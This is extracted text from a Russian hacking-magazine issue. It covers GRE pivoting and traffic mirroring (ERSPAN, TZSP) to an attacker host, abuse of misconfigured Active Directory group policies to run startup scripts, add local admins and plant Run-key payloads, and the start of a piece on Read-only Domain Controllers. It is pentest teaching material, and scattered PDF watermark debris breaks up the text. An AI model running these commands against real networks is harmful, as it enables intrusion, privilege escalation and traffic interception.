книги хакеры / журнал хакер / ха-286_Optimized
.pdf
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
← НАЧАЛО СТАТЬИ w. |
|
|
BUY |
|
|
|||||
|
to |
|
|
|
.co |
|
||||
|
|
|
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
|||
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
p |
df |
|
c |
|
|
e |
|
|
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
n |
|
|
|
|
||
|
|
|
-x ha |
|
|
|
|
|
КАК РАБОТАЕТ GRE-ПИВОТИНГ ПОВЕРХ СЕТЕВОГО ОБОРУДОВАНИЯ
Схема постро ения туннеля L2
На машине Relapse два физических интерфейса . Второй физический интерфейс eth1 смотрит в некую подсеть , о которой мы не знали . Импорти руем модуль для работы с GRE, создаем интерфейс GRETAP, создаем сетевой мост, куда мы поместим сам GRE и тот физический интерфейс.
c4s73r@Relapse:~$ sudo modprobe ip_gre
с4s73r@Relapse:~$ sudo ip link add |
name eviltap type gre local |
192.168.20.20 remote 172.16.0.1 |
|
c4s73r@Relapse:~$ sudo brctl addbr |
internal |
c4s73r@Relapse:~$ sudo brctl addif |
internal eviltap |
c4s73r@Relapse:~$ sudo brctl addif |
internal eth1 |
c4s73r@Relapse:~$ sudo ip link set |
internal up |
c4s73r@Relapse:~$ sudo sysctl -w net.ipv4.ip_forward=1
Запус тим Wireshark на стороне атакующе го , на TAP-интерфейсе .
В трафике обнаружи ваем работу протоко лов STP и DTP, это говорит о том, что мы сумели попасть в канальный сегмент .
Как видим в трафике (Wireshark был запущен для интерфейса evilgretap), добавился еще один заголовок GRE. Его идентифика тор равен 0x6558, что говорит о взаимо действии GRE с Ethernet-мостом .
Попробу ем получить адрес по DHCP:
c4s73r@kali:~$ sudo dhclient -v evilgretap
Получен ный по DHCP адрес
Во время получения адреса по DHCP из TAPинтерфейса возможно добавление другого мар шрута по умолчанию , который может нарушить сетевую связность . Вниматель но изучай свою таблицу маршру тиза ции во время траблшу тин га и удали , что нужно , из таблицы маршру тиза ции .
Таким образом , мы получаем доступ к L2-контуру с машины Relapse и воз можность проводить L2-атаки .
LLMNR/NBNS Poisoning
Взломан ный пароль пользовате ля user
ARP Spoofng, part 1
ARP Spoofng, part 2
ВОЗМОЖНЫЕ ПРОБЛЕМЫ С MTU
В компьютер ной сети есть такое понятие, как MTU. Это специаль ный параметр, который указыва ет на максималь ный размер полезных данных во вложении . MTU есть и на физическом интерфейсе , и на туннель ном . На физическом интерфейсе без примене ния Jumbo Frame максималь ный MTU составля ет 1500 байт, то есть только 1500 байт можно вложить в Ethernet.
А что с GRE? Это ведь логический интерфейс. MTU на туннель ном интерфейсе GRE составля ет 1476 байт. Такой MTU говорит только о том, что размер полезных данных необходимо уменьшить до 24 байт, чтобы кадр про шел через туннель ный интерфейс без выполнения фрагмента ции .
Почему именно 24 байта ? Потому что во время возникно вения GREинкапсуляции добавляют ся два заголовка :
•Delivery Packet, он равен 20 байтам ;
•GRE-заголовок , равен 4 байтам .
Вслучае L2 GRE over L3 GRE MTU на туннель ном интерфейсе вообще должен быть 1472 байта , посколь ку занимаются 28 байт (из за второго GRE-заголов ка).
Но на самом деле туннель ный интерфейс GRE сможет работать согласно
MTU физического |
|
интерфейса , |
то есть передавать |
полезные |
данные |
||||||||||||||
в Ethernet-кадре размером |
1500 байт включитель |
но . |
|
|
|
|
|
|
|
||||||||||
При необходимос ти можно увеличить |
MTU на туннель |
ном |
интерфейсе , если |
||||||||||||||||
возника ют задержки |
и проблемы |
с передачей |
данных . Во время увеличе ния |
||||||||||||||||
MTU туннель |
ного |
интерфейса передаваемые |
IP-пакеты будут подвергать |
ся |
|||||||||||||||
фрагмента ции , посколь |
ку сам интерфейс GRE позволя |
ет пропус кать |
через |
||||||||||||||||
себя больше |
данных |
размером |
1476 байт. Однако фрагмента ции |
|
может |
||||||||||||||
помешать специаль |
ный |
DF-бит в IP-пакете. Этот бит в принципе |
запреща ет |
||||||||||||||||
фрагмента цию |
пакета. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
Для Cisco IOS: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
PWNED(config)# interface tunnel X
PWNED(config-if)# ip mtu 1514
Для RouterOS v. 6:
[admin@EdgeGW] /interface gre> set mtu=1514 name=gre_pivoting
До повышения MTU оригиналь ный пакет (пассажир ) упирал ся бы в 1476 байт, а пакет может быть и не фрагменти рован из за специаль ного DF-бита, который запреща ет фрагмента цию IP-пакета. Но после повышения MTU ори гинальный пакет не будет упирать ся в это ограниче ние, а фрагменти роваться начнет второй IP-пакет (Delivery Packet), который здесь из за GRE-инкапсу
ляции, а у этого Delivery Packet DF-бита нет.
Если ты впервые сталкива ешься с темой MTU, она может оказать ся сложной для понимания . Поэтому рекомендую разобрать ся подробнее .
•Maximum transmission unit (Wikipedia)
•What is MTU? (блог Cloudfare)
•Network Basics — Maximum Transmission Unit (YouTube)
ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ CISCO ERSPAN
ERSPAN (Encapsulated Remote Switch Port Analyzer) — это функция зеркалиро
вания трафика , однако , в отличие от SPAN/RSPAN, она может передавать зер калирован ный трафик поверх канала L3. Кстати говоря, она также использует протокол инкапсуляции GRE для передачи данных поверх L3-соединений . Этим может восполь зоваться атакующий и проана лизировать трафик внут ренней инфраструктуры в поисках чувстви тельных данных либо узнать особен ности инфраструктуры . ERSPAN — это проприетар ная разработ ка Cisco, поэто му продемонс трирую вариант перехвата трафика именно на оборудо вании
Cisco.
Я буду зеркалиро вать трафик с интерфейса gi2 на IP-адрес 172.16.0.1 — это адрес туннель ного интерфейса GRE системы атакующе го. Приступим
кконфигура ции . Основные параметры здесь:
•идентифика тор сессии ERSPAN;
•интерфейс источника ;
•указание ERSPAN ID;
•IP-адрес, куда будет отправлять ся зеркалиро ван ный трафик ;
•IP-адрес источника зеркалиро ван ного трафика ;
•MTU (1900).
CSR(config)#monitor session 337 type erspan-source
CSR(config-mon-erspan-src)#source interface gigabitEthernet 2
CSR(config-mon-erspan-src)#no shutdown
CSR(config-mon-erspan-src)#destination
CSR(config-mon-erspan-src-dst)#erspan-id 337
CSR(config-mon-erspan-src-dst)#ip address 172.16.0.1
CSR(config-mon-erspan-src-dst)#origin ip address 172.16.0.2
CSR(config-mon-erspan-src-dst)#mtu 1900
CSR(config-mon-erspan-src-dst)#end
На этом конфигура ция закончена . Можно приступить |
к анализу |
трафика |
на нашем интерфейсе GRE. |
|
|
Перех вачен ный трафик OSPF
После конфигура ции ERSPAN мы перехватыва ем весь трафик с интерфейса gi2. Например , в дампе трафика запечатлено наличие протоко ла OSPF. Обра тив внимание на заголовки , видим, что среди них есть заголовок ERSPAN. То есть оригиналь ный трафик , который был зеркалиро ван для отправки до адре сата, был развернут в туннель GRE с использовани ем ERSPAN-инкапсуляции . Еще один пример — перехвачен ный ICMP-трафик . Видимо, внутри инфраструктуры шли пинги до сетевого оборудо вания. В трафике может быть
все что угодно , но мы остановим ся на этих примерах .
Перех вачен ный ICMP-трафик
ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ TZSP (MIKROTIK)
Протокол TZSP (TaZmen Snifer Protocol) — аналог протоко ла ERSPAN. Здесь абсолют но те же самые функции . TZSP может передавать зеркалиро ван ный трафик поверх L3-канала и обычно использует ся в инстру мен те Packet Snifer
внутри RouterOS.
Перехо дим в раздел конфигура ции Packet Snifer, расположен ный в меню Tools, и настра иваем следующие параметры :
•streaming-enabled — активиру ет работу сниффера ;
•streaming-server — IP-адрес, куда будет отправлять ся зеркалиро ван ный трафик ;
•filter-interface — интерфейсы источника , откуда будет дублировать ся трафик ;
•filter-stream — cниффер будет работать согласно политике фильтров .
[admin@EdgeGW] > /tool sniffer
[admin@EdgeGW] /tool sniffer> set streaming-enabled=yes streaming-
server=172.16.0.1 filter-interface=ether1,ether2 filter-stream=yes
[admin@EdgeGW] /tool sniffer> start
Перех вачен ный с помощью TZSP OSPF-трафик
ВЫВОДЫ
Пример но такими способа ми можно восполь зовать ся для пивотинга внутрь инфраструктуры или поверх сетевого оборудо вания . Надеюсь , моя работа подарит пентесте рам и редтимерам новый полезный прием . Главное здесь — протокол GRE, который предос тавля ет могучие возможнос ти как сетевым инженерам , так и специалис там по тестирова нию на проник новение .
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ЭКСПЛУАТИРУЕМ НЕБЕЗОПАСНЫЕ ГРУППОВЫЕ ПОЛИТИКИ
Основная причина успеха большинс тва взломов , будь то пентест или реальное проник новение злоумыш ленни ков , — это допущенные админис тра тора ми ошибки в настрой ках и конфигура ции . Сегодня мы поговорим о способах эксплу атации небезопас ных групповых политик в сетях Active Directory.
MichelleVermishelle michael.zhmailo@yandex.ru
|
Статья имеет ознакоми |
тель ный |
характер и пред |
|||||||||||
|
назначена |
для |
специалис |
тов |
по безопасности |
, |
||||||||
|
проводя |
щих |
тестирова |
ние |
в рамках |
контрак та . |
||||||||
|
Автор и |
редакция |
не несут |
|
ответствен ности |
|||||||||
|
за любой вред, причинен ный |
с примене нием |
||||||||||||
|
изложен ной |
информации . Распростра |
нение |
вре |
||||||||||
|
доносных |
программ , нарушение |
работы систем |
|||||||||||
|
и нарушение |
тайны |
переписки преследу |
ются |
||||||||||
|
по закону. |
|
|
|
|
|
|
|
|
|
|
|
|
СТРУКТУРА
Групповые политики используют ся повсемес тно. Это удобный инстру мент, позволя ющий системным админис траторам управлять настрой ками клиент ских систем в домене. Сама «архитек тура» групповых политик — клиент серверная . Чаще всего контрол лер домена выступа ет в роли сервера , на котором соз даются , настра иваются и изменяют ся политики , а доменные компьюте ры, пользовате ли и иные объекты в AD — клиенты , которые эти самые политики получают и применя ют.
Групповая политика называется Group Policy Object (GPO). Внутри каждой GPO есть две сущности :
•Group Policy Container — специаль ный объект , который имеет идентифика тор GUID, обознача ющий групповую политику . Находится в CN=Policies, CN=System;
•Group Policy Template — файлы .ADMX и .ADML, позволя ющие с помощью GPO управлять объекта ми в AD.
GPO применя ется к Organizational Units (организа ционным единицам ). Можно считать это некой папкой , в которой находятся пользовате ли, компьюте ры и другие объекты .
Изначаль но в только что созданном домене будут две политики :
•Default Domain Policy — назнача ется текущему домену;
•Default Domain Controller’s Policy — назнача ется OU, в состав которого вхо
дит контрол лер домена. По умолчанию имя этой OU — Domain Controllers.
Атеперь зайдем в ADUC и увидим , что наравне с OU в домене существу ют и контей неры.
Контей неры — это лишь дополнитель ные объекты , позволя ющие организо вать структуру AD. К контей неру нельзя привязать GPO. Чтобы применить GPO к контей неру, сначала следует добавить его в соответс твующую OU и уже к ней привязы вать GPO.
GPO распростра няется по сети через общий сетевой ресурс SYSVOL, который хранит ся на контрол лере домена. Все пользовате ли в домене обычно имеют к нему доступ и периоди чески синхро низируются для обновления нас троек своих объектов групповой политики . Общий ресурс SYSVOL по умол чанию указыва ет на каталог C:\Windows\SYSVOL\sysvol\ на контрол лере домена.
Для синхро низа ции нужно время . Иногда на обновление настро ек может уйти до двух часов. Если нам требует ся немедленная синхро низа ция , то на компьюте ре надо ввести команду
gpupdate /force
С GPO могут быть связаны какие либо права . Например , пользователь Admin11111 имеет право GenericAll на политику UsersInfo. Неправиль ная настрой ка таких прав приводит к появлению векторов эксплу атации, которые мы рассмот рим в сегодняшней статье.
ОБНАРУЖЕНИЕ
Обнаружить доступные GPO можно следующим образом :
ls \\<домен>\SYSVOL\<домен>\Policies\
В результате мы получим GUID всех доступных политик.
Если у нас есть доступ к Active Directory Module, то сможем получить информацию вот так:
Get-ADObject -LDAPFilter "(ObjectClass=GroupPolicyContainer)"
-Properties Name, DisplayName,gPCFileSysPath | select Name,
DisplayName,GPCFileSysPath | Format-List
Наконец , PowerView имеет такую же функци ональ ность :
Get-NetGpo
Теперь |
желательно из GUID получить имя |
|
политики . Конечно , AD Module |
и PowerView умеют делать это самостоятель |
но , но в случае , если у нас есть |
||
только GUID, имя можно получить следующим |
образом : |
# RSAT
Get-Gpo -GUID '{205F0E03-17C3-4E9B-925E-330FAD565CA1}'
# PowerView v3
Get-DomainGPO -Identity '{
205F0E03-17C3-4E9B-925E-330FAD565CA1}' | select DisplayName
Мы также можем изучить политики , привязан ные к определен ному устройству :
# PowerView v2
Get-NetGPO -ComputerName name.domain.com
# PowerView v3
Get-DomainGPO -ComputerIdentity name.domain.com -Properties
Name, DisplayName
Наконец , самое интерес ное . Пора изучать все ACL на найден ные GPO, пыта ясь найти мисконфиг . Сделать это можно с помощью разных средств. Чаще всего используют ся или BloodHound, или PowerView:
#PowerView v2
#Получение ACL на все политики
Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
# Найти GPO, на которые пользователь student имеет права
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
| ?{$_.IdentityReference -match "student"}
Пользователь vaska имеет подозритель но высокие права на GPO с GUID { 31B2F340-016D-11D2-945F-00C04FB984F9}. PowerView третьей версии (он же
PowerView DEV) не отстает от своего младшего собрата , но отличает ся тем, что не умеет автомати чески преобра зовывать SID в понятное для человека имя пользовате ля, поэтому в конец каждого командле та добавляет ся огромная строка :
# PowerView v3
# Находим ACL на все политики
Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs |
Foreach-Object {$_ | Add-Member -NotePropertyName Identity
-NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value)
-Force; $_}
#Находим GPO, на которые у пользователя domain\user есть
права
Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}| Foreach-Object {if ($_.Identity -eq $("domain\user"))
{$_}}
#Находим GPO, на которую пользователи с RID > 1000 имеют какие-нибудь права:
Get-DomainObjectAcl -LDAPFilter '( objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier
-match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
#Обнаружение пользователей (кроме ожидаемых, таких как
Enterprise Admins, Domain Admins), которые могут изменять GPO Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_
.ActiveDirectoryRights -match "GenericWrite|AllExtendedRights|WriteDacl|WriteProperty|WriteMembe r|GenericAll|WriteOwner"
-and $_.SecurityIdentifier -match "S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}" }
Наконец , можно использовать BloodHound:
// Находим политики, на которые пользователь USER@DOMAIN.
LOCAL имеет права
match p=AllShortestPaths((u:User {name: "USER@DOMAIN.LOCAL"})
-[r:MemberOf|GenericWrite*1..]->(o:GPO)) return p
Теперь , обнаружив политики и возможный мисконфиг в виде пользовате ля vaska с подозритель ными привиле гиями , можно приступать к получению учет ной записи этого пользовате ля . Причем разведка на этом не заканчива ется , мы можем обнаружить объекты , которые имеют право создавать новые GPO в домене:
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=cringe,
DC=lab" -ResolveGUIDs | where { $_.ObjectAceType -eq
"Group-Policy-Container" }
Чтобы найти все OU, на которые распростра няется политика , восполь зуем ся вот таким скриптом :
# PowerView v2
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {
Get-NetComputer -ADSpath $_}
# PowerView v3
Get-DomainOU -GPLink '{<GPP_GUID>}' | % {Get-DomainObject
-SearchBase $_.distinguishedname}|select samaccounttype, cn
Теперь поищем пользовате лей , которые могут связывать GPO с OU:
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.
ObjectAceType -eq "GP-Link" }
Get-DomainOU|Get-DomainObjectAcl -ResolveGUIDs | where { (($_.
ObjectAceType -match "GP-Link|GP-Options") -and ($_.
ActiveDirectoryRights -eq "WriteProperty")) -or ($_.
ActiveDirectoryRights -eq "WriteProperty|GenericAll|GenericWrite")
} |Foreach-Object {$_ | Add-Member -NotePropertyName Identity
-NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value)
-Force; $_}
ЭКСПЛУАТАЦИЯ
mmc
Криво настро енные права можно эксплу атировать и с помощью стандар тного приложе ния mmc.exe, установ ленного на каждом компьюте ре c Windows. Сна чала запускаем это приложе ние от лица пользовате ля, имеюще го права на какую либо политику . Далее добавляем нужную оснастку .
Добав ляем оснастку Group Policy Management, выбираем политику и тогда сможем ее редактировать .
Например , создадим юзера , зайдя по следующе му пути:
Computer configuration > Preferences > Control Panel Settings >
Local Users and Groups > New > Local User > Action: Create > User
name: <user>
А затем добавим его в группу локальных админис тра торов :
Computer configuration > Preferences > Control Panel Settings >
Local Users and Groups > New > Local User > Action: Update >
Group name : <Administrators> > Members: Add: <user>
Файл .ini
Этот способ я подсмот рел у Дмитрия Неверова , руководите ля группы анализа защищенности внутренней инфраструктуры в компании «Ростелеком Солар». Чаще всего доступа к графичес кому интерфейсу у нас не будет, поэтому при дется либо использовать инстру мен ты , описан ные ниже, либо вручную соз давать специаль ный конфигура цион ный файл.
Например , если наша задача — выполнить скрипт на конечных устройствах , то сначала нужно создать каталог \Machine\Scripts\Startup в корне GPO и поместить в него скрипт Test.ps1. Содержимое скрипта может быть любым, абсолют но любые команды . Следующим шагом в каталоге \Machine\ в корне GPO потребу ется открыть файл psscripts.ini. Это скрытый файл. Если фай ла не существу ет, его нужно создать . Содержимое файла будет таким:
[Startup]
0CmdLine=Test.ps1
0Parameters=
Этот файл содержит ссылку на скрипт, который нужно выполнить . Также при необходимос ти в нем прописы ваются параметры выполнения (когда они есть). Если нужно запустить несколь ко скриптов , первый символ в этом файле будет инкремен тироваться. Для скрипов .bat использует ся файл scripts.
ini.
После завершения подготови тель ных действий остается только изменить атрибут gpcmachineextensionnames с помощью PowerView:
Set-DomainObject -Identity VulnGPO -Set @{
'gpcmachineextensionnames'=' [{
42B5FAAE-6536-11D2-AE5A-0000F87571E3}{
40B6664F-4972-11D1-A7CA-0000F87571E3}]'}
Значения |
42B5FAAE-6536-11D2-AE5A-0000F87571E3 и 40B6664F-4972-11D1- |
||||||||||||||||||
A7CA-0000F87571E3 |
документирова ны |
как |
ProcessScriptsGroupPolicy |
||||||||||||||||
и Scripts |
(Startup/Shutdown). Используя |
их в GPO, мы создаем |
воз |
||||||||||||||||
можность выполнения |
скрипта при примене нии групповой |
политики . |
|
|
|
||||||||||||||
Причем |
если атрибут |
gpcmachineextensionnames уже содержит |
другие |
||||||||||||||||
записи, то их тоже нужно внести в команду . Также стоит изменить |
параметр |
||||||||||||||||||
Version в файле GPT.ini на единицу |
. Теперь после перезагрузки |
компьюте ра |
|||||||||||||||||
скрипт Test.ps1 будет выполнен . По умолчанию |
задержка |
на выполнение |
|||||||||||||||||
скриптов составля ет пять минут. |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
Подоб ным |
образом |
можно |
добавлять |
локальных |
админис тра торов |
||||||||||||||
на компьюте ре . Сначала |
создаем |
файл GptTmpl.inf по пути \Machine\ |
|||||||||||||||||
Microsoft\Windows NT\SecEdit (иногда |
эти каталоги отсутству ют |
и их при |
|||||||||||||||||
дется создать |
). Содержимое |
файла будет следующим |
: |
|
|
|
|
|
|
|
[Unicode]
Unicode=yes
[Version]
signature="$CHICAGO$"
Revision=1
[Group Membership]
*S-1-5-32-544__Members =
*S-1-5-21-2722789902-3858190539-1593706810-1119
Здесь к локальной группе локальных админис тра торов (S-1-5-32-544) добав
ляется SID доменного пользовате ля (S-1-5-21-2722789902-3858190539- 1593706810-1119). При добавлении пользовате ля в группу локальных адми нистра торов необходимо учитывать порядок примене ния GPO. Наши действия могут привес ти к тому, что легитимные локальные админис тра торы будут уда лены из группы локальных админис тра торов , поэтому стоит добавить и их SID в файл GptTmpl.inf через запятую.
Следующий шаг заключа ется в изменении атрибута gpcmachineextensionnames, эту задачу можно выполнить с помощью
PowerView:
Set-DomainObject -Identity VulnGPO -Set @{
'gpcmachineextensionnames'='[{
827D319E-6EAC-11D2-A4EA-00C04F79F83A}{
803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]'}
827D319E-6EAC-11D2-A4EA-00C04F79F83A |
имеет |
значение |
Security, |
||||
а 803E14A0-B4FB-11D0-A0D0-00A0C90F574B |
— Computer Restricted |
||||||
Groups. Применяя |
их к GPO, мы можем изменять |
списки участни ков локальных |
|||||
групп. |
|
|
|
|
|
|
|
Помни : |
если |
атрибуты |
|
|
gpcuserextensionnames |
||
и gpcmachineextensionnames уже содержат |
другие |
записи, их также нужно |
|||||
внести в нашу команду PowerView. Наконец, не забудь изменить |
параметр |
||||||
Version в файле GPT.ini на единицу |
. |
|
|
|
|
Создание GPO
Если на этапе разведки получилось обнаружить пользовате ля, который имеет право создавать GPO и связывать ее с OU, то это также может помочь при экс плуата ции. PowerView не имеет возможнос ти создавать GPO, поэтому следует использовать RSAT. Установ ка этой утилиты не представ ляет никаких слож ностей:
Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.
Tools.0.0.1.0
Import-Module GroupPolicy
Заводим новую GPO:
New-Gpo -Name TestGPO
Связыва ем с OU:
Get-GPO TestGPO | New-GPLink -Target "ou=Test,dc=domain,dc=local"
После успешного связыва ния можно либо вручную изменять созданную GPO, как было показано выше, либо использовать для этого подходящие инстру мен
ты, например SharpGPOAbuse или pyGPOAbuse.
Когда работы завершатся , GPO будет отвязана от OU:
Remove-GPLink -Name TestGPO -Target "ou=Test,dc=domain,dc=local"
И удалена :
Remove-GPO -Name TestGPO
Перемещение через GPO
Ничто не мешает нам использовать GPO как средство бокового перемещения . Опять же ставим RSAT:
Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.
Tools.0.0.1.0
Import-Module GroupPolicy
И изменяем созданную политику , добавляя в реестр (в ключ автозаг рузки ) наш пейлоад :
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context
Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\
CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.
exe' -Type ExpandString
Если установить RSAT нет возможнос ти , то можно импортировать PowerShellскрипт, который позволя ет создать запланиро ван ную задачу:
New-GPOImmediateTask -TaskName evilTask -Command cmd
-CommandArguments "/c c:\dsec\getadmin.cmd" -GPODisplayName
"VictimGPO" -Verbose -Force
ВЫВОДЫ
Групповые политики стоят далеко не на самом первом месте в чек листе типовых уязвимос тей Active Directory. Тем не менее, злоупот ребляя ими, ата кующий сможет получить чрезвычай но выгодное положение , захватив сразу целый OU. Самое главное — не забывай, что изменения применя ются далеко не сразу . Компьюте рам нужно время для синхро низа ции . Если ждать нет воз можности , используй команду gpupdate /force.
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ПЕНТЕСТИМ
READ-ONLY DOMAIN CONTROLLERS
В сетях на основе Windows существу ет специаль ный подвид контрол леров домена под названи ем Read-only Domain Controller. Сегодня мы поговорим об уяз вимостях таких контрол леров и рассмот рим векторы атак, которые можно к ним применить .
ТЕОРИЯ
MichelleVermishelle
17 y.o. | TG: @MichaelZhm michael.zhmailo@yandex.ru
Определения и особенности
Read-only Domain Controller был представ лен в Windows Server 2008. Его основная цель — обеспечить безопасное взаимо дей ствие сервера со службой каталогов . Очень часто подобные контрол леры домена ставят в каких нибудь удален ных офисах компании , старых филиалах и прочих местах , где невоз можно гарантировать достаточ ную физическую безопасность сервера . Получив доступ к такому устройству , ни один злоумыш ленник не сможет толком пов лиять на домен.
Внутри RODC хранит ся копия базы AD, но чуточку изменен ная. Во первых , не сохраня ется множес тво атрибутов , например ms-Mcs-AdmPwd — в этом атрибуте хранит ся пароль локального админис тратора при настро енном LAPS. Во вторых , разрешено кешировать учетные данные лишь конкрет ных поль зователей . Например , пользовате лей этого самого удален ного офиса .
Что такое кеширование ? Это обычное сохранение учетных данных поль зователей . Сохраня ются они в файле ntds.dit, равно как и на обычном кон троллере домена.
Причем RODC не создает домен, а добавляет ся в существу ющий. Делается это еще на этапе установ ки и выглядит вот так.
Настрой ка RODC
При этом использование RODC дает множес тво преиму ществ в плане безопасности : отдельный DNS-сервер , изменения в котором никак не отра жаются на основном, делегирова ние роли админис тра тора любому поль зователю (причем этот пользователь необязатель но должен быть админис тра тором на обычных контрол лерах домена).
Назначение пользовате лей
Также следует выделить особен ность репликации (DCSYNC) — она возможна только со стороны обычного контрол лера домена. RODC ничего реплициро вать не может. Также присутс тву ет изоляция SYSVOL — любые изменения
в групповых политиках остаются на RODC и не распростра няют ся на основной домен.
Если рассмат ривать RODC на «тировой» архитек туре Microsoft, то возника ют определен ные сложности , так как принад лежащие Tier 0 ресурсы не могут работать в тех местах , где должны находиться RODC. А RODC не должны иметь под контро лем какие либо ресурсы из Tier 0. Поэтому хосты RODC и учетные данные для подклю чения к ним никак не могут принад лежать Tier 0, но вот сами компьютер ные объекты RODC следует защищать, как Tier 0.
Атрибуты
RODC имеет множес тво особен ностей. Первая — почти вся нужная атакующе му информация находится в атрибутах компьютер ной учетной записи RODC. Наиболее интерес ные для нас атрибуты кратко описаны ниже.
managedBy
Здесь указыва ется объект , которому делегирова но админис тративное управление RODC. Любой пользователь или группа , указан ные в этом атри буте, являются локальными админис траторами на RODC:
Get-ADComputer 'RODC' -prop managedBy
Изучение атрибута
